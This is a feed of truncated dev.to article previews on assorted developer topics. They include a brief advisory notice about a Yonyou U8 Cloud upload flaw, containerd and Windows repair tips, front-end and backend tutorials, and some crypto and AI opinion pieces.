    > About Author SafeLine, an open-source Web Application Firewall built for real-world threats. While SafeLine focuses on HTTP-layer protection, our emergency response center monitors and responds to RCE and authentication vulnerabilities across the stack to help developers stay safe. In July 2025, a serious file upload vulnerability was disclosed in Yonyou U8 Cloud, a cloud-based ERP platform widely used by growing and innovative businesses across Asia. The flaw allows unauthenticated attackers to upload and execute arbitrary code on the server by bypassing deserialization protection. Due to the low exploitation barrier and severity of impact, affected users are strongly advised to patch immediately. The vulnerability lies in how ServiceDispatcherServlet handles serialized user input. Impr…  ( 6 min )
    Tracking, Security, and Control: What the Referer Header Tells You
    When managing a website, there's one question we constantly ask ourselves: "Where are these visitors coming from?" Did they find us through Google? Click an ad on Instagram? Or did a partner site refer them? The answer often lies in a small but powerful piece of information: the HTTP Referer header. It might look like just another technical detail, but it plays a key role in traffic analysis, marketing performance, and even web security. The Referer header is a part of the HTTP request that tells the destination website which page the user came from. If I click a link to dev.to from a post on LinkedIn, the Referer header in the request will show linkedin.com Here's what that looks like in a browser's developer tools: Let’s be honest: throwing money at ads without knowing where traff…  ( 6 min )
    The Evolution of React Exposure Tracking Components: A Frontend Engineer's Journey from Chaos to Elegance
    🚀 Discover 100+ powerful React Hooks possibilities! Visit www.reactuse.com for comprehensive documentation with MCP (Model Context Protocol) support, or install via npm install @reactuses/core to supercharge your React development efficiency with our extensive hook collection! Three years ago, when I first received the requirement to "add exposure tracking to this card component," I didn't think much of it. Just an IntersectionObserver, right? Should take ten minutes, tops. Looking back now, I was like a cocky junior developer who thought knowing a few APIs made them invincible. Little did I know that the best solutions are often the ones you don't even notice. On that sunny afternoon, I sketched out what I thought would be the perfect API on the whiteboard: <Exposure traceId="user_card_e…  ( 9 min )
    . isn't needed at the end of ALT attributes
    Don't have to use . at the end of ALT and META descriptions especially if: It’s a short, or sentence fragment. You want to keep it punchy and search–friendly. Examples: ❌ “Discover vintage computers like the ZX Spectrum and Commodore 64.” ✅ “Discover vintage computers like the ZX Spectrum and Commodore 64” Meta descriptions often appear as snippets in search engine results. A period can feel abrupt or unnecessary unless it’s part of a complete, formal sentence. ✅ ALT Text (Image alt attribute): Examples: ✅ alt="ZX Spectrum main menu with pixel graphics and black background" ✅ alt="The ZX Spectrum was released in 1982." (if full sentence, period is OK) ❌ alt="ZX Spectrum menu." ← Avoid period on fragments Screen readers pause slightly at punctuation. Adding unnecessary periods may create unnatural rhythm or confusion for visually impaired users. Do not use . at the end of a header or title. This applies to: website headings, article/blog titles, slide decks, UX/UI microcopy, technical documents.  ( 5 min )
    Charlex WebOS
    Charlex Web OS This project is a frontend web application that acts like a real operating system based on the web. A modern Chrome browser is all you need to experience the magic. No extra dependencies or installations are required. Open index.html in your Chrome browser. Interact with the windows, dock icons, and note-taking features as if you were using a real OS. Enjoy the smooth and responsive UI powered by JavaScript and CSS. Draggable and resizable windows. Dock with interactive icons. Note window with save and download functionality. Stylish and modern UI with blurred backgrounds and smooth animations. All JavaScript files are located in the js/ directory. CSS styles are separated into the css/style.css file. The app runs entirely in the browser without any backend dependencies. This project is licensed under the MIT License. Copyright (c) 2024 Pyshwaa  ( 5 min )
    Regular Expressions (REGEX): A Quick Refresher
    If you've ever wanted to find, match, or validate patterns in text, phone numbers, passwords, etc.; then regular expressions are your best friend. A regular expression, or regex, is a powerful pattern-matching language used to search, extract, or validate text based on specific patterns. Think of it like a supercharged Ctrl+F, but smarter. Validate emails, phone numbers, passwords, URLs Search or replace specific text patterns Clean or extract data from messy text Apply rules flexibly in a single line Here’s a simple one: /^[A-Z][a-z]+$/ Breakdown: ^ → Start of string [A-Z] → One uppercase letter [a-z]+ → One or more lowercase letters $ → End of string ✅ Matches: John, Alice john, ALICE, 123 Symbol Meaning . Any character except newline * Zero or more of previous item + One or …  ( 6 min )
    The Double-Edged Sword of AI in Software Engineering: Balancing Power and Peril
    A thoughtful advisory note aimed at early-career software engineers and students. This highlights a growing concern in the tech industry about the over-reliance on AI tools like ChatGPT, Claude, Cursor, or Copilot for coding — without a full understanding of what the AI is doing under the hood. Using AI is powerful — but dangerous if you don’t understand what it’s doing. How are you balancing AI and fundamentals? Are you building "understanding" alongside output? ✅ Use AI — but responsibly. ❌ Don’t outsource your thinking. ⚙️ Always ask why a solution works, not just what it is. 🧠 Focus on evergreen skills: Problem Solving & Debugging Data Structures & Algorithms System Design & Distributed Systems Operating Systems & Networking 🛠 Be ready to handle scale and complexity — where AI ofte…  ( 10 min )
    Rust Iterators : DeSugarified
    No beating around the bush, we will be jumping straight in it. In Rust, an iterator is basically a type that knows how to yield items one at a time. We will take the example of a vending machine and its items (like snacks) to understand how it works. So an iterator is like a vending machine which yields a packet of snacks one at a time. So everytime, .next() is hit on an iterator, the next item is given if available else None is returned (snacks are exhausted). The snack is given out till the machine is empty. So something which implements the Iterator trait is called an iterator. pub trait Iterator { type Item; fn next(&mut self) -> Option; //there are many other methods implemented here } type Item defines what the iterator will yield (e.g. i32, String, etc.) …  ( 9 min )
    From Imposter Syndrome to Progress: A Developer's Mental Journey
    In my experience so far, almost every developer goes through imposter syndrome—except a rare few. I've seen many talented people quit, believing they "may not be able to make it." But here's the truth: 💡 Things start making sense only after periods of consistent effort. The journey is often frustrating but rewarding along the way (and honestly, there's no real "end point" to learning in this field 🙂). I've been there too—moments of self-doubt, overthinking, and negative spirals. Strategies That Helped Me (and Might Help You Too) Sometimes stepping away is the best move. Go for a walk. Clear your mind. Often, solutions "click" when you're no longer stuck in the same thought loop. Instead of saying, "I must solve this now," change your goal to: "I'll spend 10 more minutes exploring this." Draw a line for every 10 minutes spent or for every small bit of progress made. ✅ Micro-wins add up and build momentum. Remind yourself how far you've already come. If you've overcome past hurdles, you can overcome this one too. Solve a different problem for a while. A small win elsewhere can recharge your motivation and perspective. 💭 Final Words If you're feeling stuck or doubting yourself—know this: You're not alone. Most developers have been there. What matters is staying consistent, patient, and kind to yourself during the journey. 👉 Keep going. Things will click. They always do.  ( 5 min )
    Methods in Java
    Method : Set of instructions for achieving a specific-tasks - with a name (or) with or without arguments (or) with or without return datatype. If we do not return any value, we should mention “void” before method name. Modularity Code Reusability employee1.enquiry(); private void enquiry(int accNo) { System.out.println("Balance enquiry"); } private void enquiry() { System.out.println("General enquiry"); } Same method name with different number of arguments is called Method overloading. employee1.enquiry(15.3f); private void enquiry(float gold) { System.out.println("Gold rate please"); Same method name with different type of arguments is also known as Method overloading. Another name called Compile time polymorphism.  ( 5 min )
    Beyond the Static Shot: The New Era of Fashion Photography That Truly Sells
    For years, the gold standard of Online fashion photography has been the clean, static shot. As a brand Manager or Designer, you know the drill: it’s essential for showing product details. But I have to ask: does it truly sell? I believe that while this type of photography fulfills a basic requirement, it rarely helps to create desire. It shows a product, but it doesn't tell a story. To move product, your AI generated content needs to move people first. The Problem: The Emotional Gap in E-commerce Photography Traditionally, the only way to create this emotional connection was through expensive lifestyle photoshoots. The costs and logistics often made it impossible for a Manager to approve for more than a few hero products, leaving the rest of your content feeling lifeless. The Solution: Context and Emotion, Generated on Demand by AI Imagine being able to: Create Context Instantly: Instead of scouting locations, simply describe one. This powerful AI lets you create endless scenes for your fashion products. A New Creative Freedom for Designers and Managers It also changes the conversation around labeling this generated content. When you have personally art-directed every element, the "AI-generated" tag is not a disclaimer. It’s a testament to your brand’s innovative approach to creating powerful, emotionally resonant fashion photography. The best ai for fashion is the one that gives you this control. The future of photography that moves product is here. It’s dynamic, it’s scalable, and it’s waiting for you to direct it. Explore the Future of Fashion Photography with Visboom https://www.visboom.com/  ( 6 min )
    Bank Project using Java
    Bank project: Cash => packet Example 2  Robot getJuice (100); Action => getFood Our project code in eclipse for understanding: public class Bank { public static void main(String[] args) { Bank employee1 = new Bank(); //allocates a memory space employee1.deposit(100,1111); //method calling statement //method name: deposit //arguments: 2 //arguments(100,1111)--> parameters Storing container => bag So, food is an action and the corresponding storage or datatype is bag. Write in a meaningful way that matches the corresponsing actions to container. Example 4  robot.withdraw(1234); Example 5  robot.deposit (100); } int money = employee1.withdraw(100,1111); } private int withdraw(int cash, int accno) { } private void deposit(int amount, int accNo) //method signature } }  ( 6 min )
    Why 95% of Projects Fail: The Hidden Causes No One Talks About
    Every developer has been there. You start a project with excitement, precise requirements, and what seems like a solid plan. Six months later, you're staring at missed deadlines, frustrated stakeholders, and a codebase that somehow feels like it was written in a different language by your past self. The statistics are brutal: according to the Project Management Institute, only 35% of projects are considered successful. In the software development world, this number drops even lower. But here's what most productivity blogs won't tell you – the real reasons projects fail have nothing to do with technical skills or cutting-edge tools. After analyzing hundreds of failed projects and interviewing developers across different companies, I've discovered the hidden causes that no one talks about. M…  ( 9 min )
    Stack Overflow: Vision, Features & Developer Insights
    “Cultivate community. Power learning. Unlock growth.” – the new Stack Overflow mission Announced at WeAreDevelopers World Congress 2025, Stack Overflow aims to become the most trusted source for technologists. The public Q&A network (all of Stack Exchange) is simply Stack Overflow, while ads, enterprise tools and data licensing are grouped under Stack Overflow Business. Source: A new era of Stack Overflow. On July 10, 2025 the company launched its first full re-brand poll with two logo concepts (modern “stack” vs. minimalist “(-_-)” face). Voting closed on July 15. Source: Vote on our new identity. Feature Status Why it matters Community Activity pilot Real-time pulse of active users & new questions. Chat relaunch redesigned Lower rep gate, new lobby for quick collaboration. sta…  ( 5 min )
    AI's Architecture: Infrastructure Realities Behind the Hype | Electricity or Bubble?
    The conversation around artificial intelligence often swings between two extremes: is it the new electricity, a utility that will redefine society, or the next dot-com bubble, a speculative frenzy destined for collapse? This binary view, however, misses the more crucial story. The real answer lies in the complex and fragile infrastructure upon which this revolution is being built. To truly understand AI's trajectory, we must look past the user-facing applications and analyze its underlying systems. Are we building a robust, scalable utility grid, or are we running a collection of brilliant but brittle prototypes? Standardized Generation: The "war of the currents" between AC and DC was settled, leading to standardized, large-scale power generation. Scalable Distribution: A robust, intercon…  ( 8 min )
    How to Create a TermBase File in Excel in 2025
    Need to create a TermBase eXchange file (TBX) from an Excel file? You’ve likely built out your glossary in Excel, navigated to the “Export” menu item and then realized there is no option to export to TBX format. The same goes for attempting “Save As.” Sound like you? What you need is a Microsoft Excel add-in that converts an .xls, .csv or .xslx file to a .tbx file. Essentially, a glossary converter. In this post, you’ll learn how to create a TermBase file using TBX Exporter For Excel. It’s a free Microsoft Excel add-in we developed at Pairaphrase. It will help you export your TermBase glossary from Excel as a TermBase eXchange file format, also known as TBX. Read this whole post to have a successful outcome. Or, watch the video below. Please note our add-in only works on Windows machines. …  ( 7 min )
    Difference Between Machine Maintenance Software and ITAM Software
    Machine Maintenance Software and ITAM (IT Asset Management) Software are specialized tools for asset management, each tailored to distinct types of assets and organizational needs. At first glance, they might seem similar because both involve managing assets. But in reality, they focus on very different areas. Machine Maintenance Software is designed to keep industrial equipment and machinery running smoothly, while ITAM software manages the lifecycle of IT assets like computers, servers, and software. Machine Maintenance Software, sometimes called Equipment Maintenance Software, is a centralized system built to plan, execute, and monitor maintenance tasks for physical, non-IT assets. It plays a critical role in asset-heavy industries such as manufacturing, healthcare, logistics, retail, a…  ( 9 min )
    🔧 How to Debug containerd Like a Pro
    containerd is fast and reliable, but when something goes wrong, it helps to know how to inspect its inner workings. Unlike Docker, containerd is more modular and transparent, which gives you greater control during troubleshooting — if you know where to look. In this guide, you'll learn practical debugging techniques for containerd. We’ll cover logs, runtime introspection, active tasks, snapshots, namespaces, and image metadata so you can diagnose issues with clarity and confidence. For more deep-dive strategies and expert-level tools, check out containerd Power Hacks — a complete PDF guide with real-world workflows, performance tuning, and advanced containerd internals. Your first stop when debugging any containerd issue is the system logs. Use journalctl to view live or historical logs fo…  ( 7 min )
    State Management Showdown – Redux Toolkit vs Zustand vs React Query
    Intro: Not all state is created equal — and neither are the tools that manage it. If you're building a scalable React/Next.js app, choosing the right state manager can make or break your performance, DX, and sanity. In this post, we'll compare Redux Toolkit, Zustand, and React Query, not just by theory — but how they behave in real-world frontend apps I’ve worked on. Let’s simplify the confusion. What Type of State Are We Talking About? Before choosing a library, always ask: “Is this state local, shared, or remote?” Type Example Best Tool UI State Modal open, input values Zustand or useState Shared State Auth, theme, cart items Zustand / Redux Server State API data (GET/POST), pagination React Query Redux Toolkit ✅ Pros: Time-tested, robust ecosystem DevTool…  ( 6 min )
    🚀 Speed Up containerd Image Pulls with These Proven Techniques
    Pulling container images quickly is critical for fast deployments, continuous integration pipelines, and scaling workloads in real time. containerd is efficient by default, but you can make it even faster with a few targeted adjustments. This article walks through several methods to accelerate image pulls using containerd. These techniques help reduce wait times, avoid redundant downloads, and improve performance across CI/CD, Kubernetes clusters, and edge devices. To unlock more expert-level performance tweaks and operational workflows, download containerd Power Hacks — a premium PDF guide covering hidden features, real-world tuning, and powerful debugging flows. When containerd pulls an image from Docker Hub or a remote registry, latency and rate limits can slow things down. Setting up a…  ( 7 min )
    RFID & NFC with ESP8266
    Through the combination of ESPHome and Home Assistant, a myriad of sensors can be added, managed, and their data visualized and stored. Over the previous articles, I added sensors that generally detect the presence of movements and sounds. Another signal that I want to create is a simple "I'm home" electronic message. For near-field communication, several protocols exist: RFID, NFC, LoRa, Bluetooth. This article investigates how to add RFID tag reading support to Home Assistant. ESPHome is the platform that manages my IOT devices. Studying the supported sensors list, it became appeared that three different chipsets are supported: RC522 from NXP, PN532 from Philips, and RDM6300 from Handson Technology. Looking into a Arduino starter sensor box I purchased earlier, I found that I already hav…  ( 9 min )
    “Why Learn C” Book Announcement
    Introduction I'm pleased to announce the pre-release of my forthcoming book Why Learn C to be published with steadfast support from my editor Melissa Duffy at Apress by the end of September 2025: If you’re thinking, “Why a book on C?,” I address that in the book’s Preface, an excerpt of which follows: That’s a question I see asked by many beginning (and some intermediate) programmers. Since you’re reading this preface, perhaps you have the same question. Considering that C was created in 1972 and that many more modern languages have been created since, it’s a fair question. Somewhat obviously (since this book exists), I believe the answer is “Yes.” Why? A few reasons: Modern languages have many features fofor things like data structures (e.g., dynamic arrays, lists, maps), flow control …  ( 8 min )
    IGN: Mario Kart World - Does Version 1.2.0 Fix Online Play? Patch Breakdown
    Mario Kart World 1.2.0 Patch Breakdown Mario Kart World’s latest update finally tackles the biggest gripe: online races now include the classic 3-lap format! On top of that, the patch sneaks in a handful of quality-of-life tweaks to polish up the gameplay experience. While it doesn’t reinvent the wheel, V1.2.0 delivers just enough improvements to keep your banana-peel tactics fresh and your drift kicks satisfying. Ready to fire up those three laps again? Watch on YouTube  ( 5 min )
    How My Procurement Experience Shaped My AI Career Path
    From Generalist to Specialist: How Procurement Shaped My AI Journey Early in my career, I made a common mistake: trying to learn every new technology that came along. Like many professionals, I believed being a "jack-of-all-trades" was the key to success. Then my procurement experience taught me a valuable lesson - the most effective solutions weren't the ones trying to do everything. They were specialized tools designed for specific problems. This realization completely changed my approach when I transitioned into AI. The tech industry has reached a pivotal point where: • Generic solutions often fail to address real business needs • True value comes from deep understanding of specific domains • Companies increasingly reward specialized expertise My procurement background proved this when evaluating AI solutions: • The most effective tools weren't the "do-it-all" platforms • Niche solutions outperformed general ones in their specialty areas • Implementation success depended on domain-specific knowledge My procurement background became my unfair advantage in: • Understanding supply chain AI applications • Evaluating vendor claims realistically • Implementing solutions that actually worked Look for areas where: • Pain points are persistent and measurable • Solutions create tangible business value • Your unique perspective gives you an edge Start small but focused: • Develop prototypes addressing specific pain points • Contribute to open-source projects in your niche • Share your domain-specific insights publicly Specializing doesn't mean limiting yourself - it means multiplying your impact. My procurement experience, once seemingly unrelated, became my most valuable asset in AI. Your next step: Reflect on your unique background Identify where it intersects with technology needs Start building depth in that intersection The most successful technologists know everything about something important.  ( 6 min )
    Untitled
    Check out this Pen I made!  ( 4 min )
    Agentic AI in ITSM: From Automation to Autonomy — The Roadmap for Enterprise Transformation
    Introduction Enter Agentic AI: a new class of intelligent systems that don’t just assist with tasks — they autonomously detect, decide, and act. Powered by Generative AI, multi-agent architecture, and platforms like ServiceNow, Agentic AI is driving the evolution from reactive operations to self-healing, autonomous ITSM. According to recent research, enterprises that successfully scale Agentic AI stand to unlock $382 million in value within three years — yet only 2% have deployed at scale. Trust, observability, and architectural readiness remain key challenges. Meanwhile, IT leaders are looking for clear guidance: How do we move from automation to autonomy — without losing control? This blog breaks down: The $450B Opportunity: Why Agentic AI Is Worth the Leap Capgemini and Forrester estima…  ( 8 min )
    🤖 YOGA AI ASSISTANT-BOT✨
    🤖 YOGA AI Assistant -✨ 🤔 What is this? This is a smart chatbot website that can help you with different things depending on what you need. Think of it as having 6 different AI assistants in one app! 🎉 The AI has 6 different "modes" or personalities: 🧠 General — Answers everyday questions and has normal conversations 💬 🎯 Productivity — Helps you organize tasks and manage your time ⏰ ❤️ Wellness — Gives advice about health, fitness, and feeling good 🌱 📚 Learning — Acts like a tutor to help you study and learn new things 🎓 💡 Creative — Helps with brainstorming ideas and creative projects 🎨 💕 BFF — Talks like a friendly Gen-Z bestie for emotional support 👯‍♀️ 🎤 Voice Chat: Talk to it instead of typing — and it talks back! 🧠 Multiple AI Brains: Powered by Groq, Googl…  ( 8 min )
    Context processor in Django
    In Django, a context processor is a Python function that takes a request object as an argument and returns a dictionary of data that gets added to the context of every template rendered using Django's RequestContext. Context processors let you inject common variables into the context of all templates, without having to explicitly pass them in each view. Imagine you want your site to always display the logged-in user's name and the current year in the footer. Instead of passing that manually from every view, you can use a context processor. Define a context processor function: # myapp/context_processors.py from datetime import datetime def global_variables(request): return { 'current_year': datetime.now().year, 'user_ip': request.META.get('REMOTE_ADDR'), } Add it to settings: In settings.py, add it to TEMPLATES: TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', ... 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', 'myapp.context_processors.global_variables', # © {{ current_year }} | Your IP: {{ user_ip }} Some useful built-in ones: A context processor is a handy way to share variables across all templates without manually including them in every view, helping to keep your code DRY and centralized.  ( 5 min )
    Beginner Tutorial: Starting DolphinScheduler with External PostgreSQL and Zookeeper
    This article will guide you step-by-step on how to start Apache DolphinScheduler using external PostgreSQL and Zookeeper. Whether you're a beginner or an experienced developer, you can easily follow these steps to complete the installation and configuration in a Linux/Unix environment. In addition to the standard installation steps, we also share some cluster deployment tips to help you scale your system with ease. Of course, if you encounter issues such as database connections, Zookeeper connections, or service startup problems, don't worry—this tutorial includes detailed troubleshooting steps to help you resolve them quickly. Operating System: Linux/Unix (CentOS 7+ or Ubuntu 16.04+ recommended) Java Environment: JDK 1.8+ Database: PostgreSQL 9.6+ Distributed Coordination Service: Zookeep…  ( 8 min )
    The Reality of Debugging: How I Deal with "That One Bug"
    The Reality of Debugging: How I Deal with "That One Bug" Ah, debugging. It's the unglamorous, often infuriating, yet utterly essential part of a developer's life. As a Fullstack Web Developer and the founder of NovexiQ, my new web development agency, I can tell you, a huge chunk of my time isn't spent building fancy new features. Nope. It's spent painstakingly tracking down bugs. And then there's "that one bug." You know the type, right? The one that just defies logic, pops up intermittently, and honestly, makes you question every single line of code you've ever written. Today, I want to share my raw experience with just such a bug – and my systematic approach to tackling it. Maybe it'll help you too! This particular saga began on a recent project at NovexiQ – a custom e-commerce platfor…  ( 11 min )
    Step-by-Step: Deploying a High Availability DolphinScheduler Cluster with Rainbond
    This section describes the one-click deployment of high availability DolphinScheduler clusters through the Rainbond cloud native application management platform. This method is suitable for users who don't know much about complex technologies such as Kubernetes, lowering the threshold for deploying DolphinScheduler in Kubernetes mode. Available Rainbond cloud native application management platform is a prerequisite,please refer to the official Rainbond documentation Rainbond Quick install Go to Rainbond Platform Management -> App Marketplace -> Open Source App Store and search for dolphinScheduler to find the DolphinScheduler application. Click install on the right side of DolphinScheduler to go to the installation page. Fill in the corresponding information and click OK to start the inst…  ( 6 min )
    Modelling Time Series Processes using GARCH
    To go into the turbulent seas of volatile data and analyze it in a time changing setting, ARCH models were developed. Marching towards the ARCH and GARCH When techniques like linear regression or time series were aimed at modelling the general trend exhibited by a set or series of data points, data scientists faced another question - though these models can capture the overall trend but how can one model the volatility in the data? In real life, the initial stages in a business or a new market are always volatile and changing with a high velocity until things calm down and become saturated. It is then one can apply the statistical techniques such as time series analysis or regression as the case may be. To go into the turbulent seas of volatile data and analyze it in a time changing settin…  ( 11 min )
    TIL - My First Dive into Ruby!
    puts "hello world" Today marks the beginning of my journey into the world of Ruby! My first discovery was the straightforward way to print output using puts. One of the most interesting things I've learned already is about Ruby's indentation. Unlike Python, where indentation is syntactically enforced and crucial for code execution, Ruby uses it primarily for readability. The interpreter doesn't rely on it; instead, Ruby uses keywords like end to explicitly close code blocks. This is a neat difference! What I truly love about coding is how diverse it is. The choice of programming language often depends on the ecosystem you're working in and the product you're building. While core programming concepts remain consistent across languages, each one offers unique approaches and philosophies. It's fascinating to see how individual developers adapt and express their ideas within these different frameworks. I'm really excited about this learning journey!  ( 5 min )
    Pick Up The Power Of Array Method (Part 1)
    INTRODUCTION : Arrays play a big role in JavaScript. From storing data to updating it, array methods help us manage and work with values easily. In this part, we’ll look at the most commonly used array methods — simple to learn, but powerful in real-world coding. Each method is explained clearly, with examples you can try right away. This guide is great for beginners or anyone who wants to revise the basics. Let’s get started... 1.length() Gives back the array's total number of elements. const arr = [10, 20, 30]; console.log(arr.length); // 3 2.toString() creates a string from an array by separating its elements with commas. const arr = [1, 2, 3]; console.log(arr.toString()); // "1,2,3" 3. at() Gives back the element at the given index. allows for negative indexing. …  ( 6 min )
    S3 vs EBS vs EFS – AWS Storage Simplified with Real-Life Use Cases 📦
    "Which AWS storage should I use?" If you've ever Googled this while building a project, you're not alone. Let's break it down in plain English—once and for all. Imagine you're living in a city and need to store your stuff. You’ve got: S3: A self-storage unit—great for keeping boxes of stuff you don’t need every day. EBS: A hard drive attached to your computer. Fast, close, but only you can use it. EFS: A shared drive your whole office can access at the same time. Each one has a specific job. Let’s dive into them with real-world examples! S3 (Simple Storage Service) is object storage. You upload files (called "objects") into buckets, and access them via URL or programmatically. Hosting images, videos, PDFs, or static websites Storing backups, logs, or reports Serving frontend files (React, …  ( 7 min )
    Untitled
    Check out this Pen I made!  ( 4 min )
    Boosting EF Core Performance with EF.CompileQuery
    Entity Framework Core (EF Core) is a robust ORM for .NET developers. While it provides a high-level abstraction over relational databases, some scenarios require performance optimizations — especially when executing the same queries repeatedly. One powerful, but often overlooked feature is EF.CompileQuery, which allows you to precompile LINQ queries and reuse them efficiently. When EF Core executes a LINQ query, it needs to parse, translate, and compile it into SQL. This process happens every time, even if the query structure stays the same. To avoid this overhead, EF Core provides the EF.CompileQuery method which lets you compile a query once and reuse it. var compiledQuery = EF.CompileQuery( (MyDbContext context, int id) => context.Users.FirstOrDefault(u => u.Id == id) ); //…  ( 6 min )
    You Don’t Need GraphRAG! Build a Multi-Strategy Graph Thinking AI Agent
    In this Story, I have a super quick tutorial showing you how to build a Multi-Strategy Graph Thinking to build a powerful agent chatbot for your business or personal use. GraphRAG, which combines knowledge graph technology with RAG, is a hot spot in the field of LLM applications in the second half of this year. I’ve been spending a lot of time poking around with GraphRag, and while they’re seriously cool, they’ve got some quirks. One weekend, I built my own knowledge graph by creating nodes and edges, chunking the input document into tokens, recording the entities and relationships contained in each chunk, and utilising an LLM to generate the output. Knowledge graphs can be fun, but they’re often broken. My knowledge graph relies on large language model (LLM) agents for graph traversal and…  ( 12 min )
    "JavaScript and the Document Object Model (DOM)"
    What is Dom DOM is a way for JavaScript to see and change the content, structure, and style of a webpage If your HTML is: Hello World Then JavaScript can access and change it like this: document.querySelector("p").textContent = "Hello DOM!"; getElementById() getElementsByClassName() getElementsByTagName() querySelector() querySelectorAll() element.innerHTML element.textContent element.style.property = value element.setAttribute() element.getAttribute() element.removeAttribute() onclick, onmouseover, onchange, etc. addEventListener() Create/Remove Elements document.createElement() element.appendChild() element.removeChild() parentNode, childNodes, firstChild, lastChild, nextSibling  ( 5 min )
    What Quantum Computing Teaches Us About Software Design Today
    "Nature isn't classical, dammit, and if you want to make a simulation of nature, you'd better make it quantum mechanical." — Richard Feynman Quantum computing might seem distant—something for researchers in lab coats and dilution refrigerators—but its core ideas can actually inform how we design classical systems today. In fact, thinking "quantum-ish" may help us build better, more resilient systems in a world filled with distributed services, unpredictable inputs, and constant change. In classical computing, we do everything we can to eliminate uncertainty. We debounce inputs, retry failed requests, sanitize every form field. Predictability is king. But quantum systems don't fear uncertainty. They work with it—representing multiple possibilities at once until measurement collapses them in…  ( 6 min )
    I Built a Free Developer Toolkit. Introducing ToolsFo.site
    As developers, our workflow is a constant dance between coding, debugging, and optimizing. How many times have you found yourself opening a dozen browser tabs for small, repetitive tasks? One tab to minify some CSS, another to check a JSON response, a third to generate a favicon, and a fourth to check if a staging site is even online. It's a productivity nightmare. While there are thousands of online tools, many are cluttered with ads, require sign-ups, or, worse, handle your data in ways you can't be sure are secure. This frustration led to the creation of a project I'm excited to share with you all: ToolsFo.site. It’s a collection of over 30 free, no-nonsense tools designed to be fast, reliable, and, most importantly, private. Before we dive into the tools, let's talk about the most cruc…  ( 6 min )
    RAG to Riches: Transforming AI with Smarter Context
    It's no secret that generative AI has made its way into nearly every industry and sector powering everything from virtual assistants to automated research and content creation. As adoption grows, so does the demand for more refined, specialized, and high-performing models. We've moved far beyond simple use cases; today's users expect intelligent, context-aware solutions that adapt, scale, and deliver real business value. Most frequent users of generative AI have likely encountered this issue: the model seems to forget parts of the earlier conversation and starts producing irrelevant answers, vague or overly generic content, or even statements that directly contradict what was previously said. This usually happens when the conversation grows too long and exceeds the model's context window. …  ( 9 min )
    🧰 Windows OS Error Check & Repair via Command Line
    This guide explains how to check and fix system errors on Windows using the command line tools. We'll cover the necessary commands and steps to identify and resolve common issues. Open Command Prompt as Administrator: Press Windows + X → select Command Prompt (Admin) or Windows Terminal (Admin). Run the following. sfc /scannow Wait until the scan completes. Do not close the window during the process. The DISM tool repairs the Windows system image and component store. DISM /Online /Cleanup-Image /CheckHealth DISM /Online /Cleanup-Image /ScanHealth DISM /Online /Cleanup-Image /RestoreHealth /CheckHealth – Quickly checks for known corruption. /ScanHealth – Performs a deeper scan for problems. /RestoreHealth – Repairs the image using Windows Update or a specified source. ✅ Recommended Full Repair Sequence Open terminal as Administrator. Run the following DISM /Online /Cleanup-Image /RestoreHealth Then run sfc /scannow Instead of running each command manually, you can use a batch file to automate the process. Right-click the file repair-windows.bat and choose Run as Administrator. These tools are built into Windows and safe to use. Requires an internet connection for DISM if using Windows Update as the repair source. You can use these commands to fix issues like: Missing/corrupt system files Random crashes or BSODs Windows Update problems  ( 5 min )
    Does non repetitive code really translates to better performance?
    Problem Statement: I wanted a function which can convert a column values of a data frame to string values if they are a dictionary or a list. This is a requirement if you need to add the data to MySQL Server, as SQL does not support complex datatypes like lists and dictionaries. This can be done using two approaches: Approach 1: We create a function which takes in a dataframe and goes column by column, then iterate through the rows to apply the required logic. # Approach 1 inputs the entire dataframe def convert_to_string_all(df): """ This function applies the required operation throughout all columns""" for col in df.columns: df[col] =df[col].apply(lambda x: str(x) if isinstance(x,list) or isinstance(x,dict) else x) return df test_all = convert_to_string_all(test_al…  ( 6 min )
    I knew RSC was a rake but I stepped on it anyway
    I’ve been a Next.js user since before it was cool. Back in my day we didn’t even have path params! We only had search params, and we liked it! (jk it was terrible) It was and continues to be the best way to render your React code on the server side to get that precious first load performance. Next.js has come a long long way since then. Vercel has done a fantastic job of making Next.js the preferred web development platform. All the gripes and weird web conventions were made into easy framework APIs. Some of it is still pretty unbelievable like generating OpenGraph images and ISR. The app router was a real major change and definitely caused some turbulence switching over. What has been even more interesting is the idea of RSC. RSC promised to simplify components and hydration. There was a…  ( 9 min )
    Title: XRP Price Analysis: Technical Surge and Short-Term Consolidation Risk
    Title: XRP Price Analysis: Technical Surge and Short-Term Consolidation Risk Introduction: XRP, the fourth-largest cryptocurrency by market capitalization, experienced a technical surge during the 24-hour period ending July 23 at 08:00 GMT. Despite the price increase, XRP pulled back after reaching a session high of $3.57 on 106.4 million volume. The late decline broke key support at $3.50, which had been retested multiple times overnight. This article will analyze the price action of XRP and provide insights into the short-term consolidation risk and long-term price targets. Price Action Summary: During the 24-hour period, XRP traded in a wide $0.11 range between $3.46 and $3.57. The asset posted a 3% swing as bulls drove price to a session high of $3.57 on 106.4 million volume, before …  ( 6 min )
    Title: Goldman Sachs and BNY Mellon Partner to Launch Tokenized Money Market Funds
    Title: Goldman Sachs and BNY Mellon Partner to Launch Tokenized Money Market Funds Introduction: The adoption of digital assets is accelerating, and traditional financial institutions are beginning to embrace this trend by launching tokenized versions of their products. Bank of New York Mellon (BNY) and Goldman Sachs (GS) have recently announced that they will be offering tokenized money market funds to their clients. This move is significant as it brings traditional asset classes onto blockchain rails, making transactions seamless and efficient. Partnership: BNY, one of the oldest and largest custody banks in the world, overseeing $53 trillion of assets, has partnered with Goldman Sachs Digital Asset Platform to launch tokenized money market funds. The funds will be available to institu…  ( 6 min )
    What is Layout, Paint, Composite? and How Do They Affect Web Performance?
    What are Layout, Paint, and Composite? Layout, Paint, and Composite are crucial steps in the browser's Rendering Pipeline. When a browser renders a webpage, it starts by processing the HTML and CSS. Then it figures out which CSS styles apply to each HTML element (this builds the Render Tree). After that, the browser performs the following steps in order: Layout > Paint > Composite Calculates where each element should appear on the page and how big it should be. Involves CSS like margin, top/right/bottom/left, width. If any of these properties change, the browser must recalculate everything, a process called Reflow. Fills in the pixels e.g. border, background-color, visibility. If this step runs again, it's called a Repaint. For certain CSS properties like transform and opacity, the brows…  ( 6 min )
    CodeBoarding: Interactive Diagrams for Codebases
